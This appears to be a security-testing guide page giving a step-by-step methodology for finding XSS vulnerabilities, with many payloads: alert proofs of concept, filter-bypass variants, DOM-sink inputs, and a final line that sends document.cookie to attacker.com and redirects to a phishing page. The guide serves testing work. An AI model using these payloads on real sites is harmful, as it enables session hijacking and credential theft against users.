$loading...
Learn how to test for reflected, stored, and DOM-based XSS vulnerabilities with step-by-step methodology, payload examples, and remediation guidance.
Map all user-controlled inputs that reflect in the HTTP response. Check URL parameters, form fields, HTTP headers (Referer, User-Agent), and cookie values. Use your browser's DevTools to search the page source for your input string.
testpayload12345
<b>test</b>
"><test
Analyze where your input lands in the HTML. The context determines which payloads will work: HTML body, inside an attribute, within a script block, or in a URL. View the page source to identify the exact context.
<!-- HTML body --> <script>alert(1)</script>
<!-- Attribute --> " onfocus=alert(1) autofocus="
<!-- JavaScript --> ';alert(1);//
<!-- URL --> javascript:alert(1)
Start with simple payloads to check if any filtering or encoding exists. If basic payloads are blocked, note which characters or keywords are filtered to plan bypass techniques.
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
If input is sanitized, try encoding (HTML entities, URL encoding, Unicode), case variation, tag/event alternatives, and payload obfuscation. Test for incomplete sanitization such as recursive filtering.
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<<script>script>alert(1)<</script>/script>
Check for JavaScript that uses dangerous sinks (innerHTML, document.write, eval) with user-controlled sources (location.hash, location.search, document.referrer). Use browser DevTools to trace data flow from sources to sinks.
#<img src=x onerror=alert(1)>
?default=<script>alert(1)</script>
javascript:alert(document.domain)
Confirm the XSS executes in a victim's browser context. Document the payload, affected URL, injection point, and potential impact (session hijacking, credential theft, defacement). Test in multiple browsers for consistency.
<script>fetch("https://attacker.com/log?c="+document.cookie)</script><script>document.location="https://attacker.com/phish"</script>
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides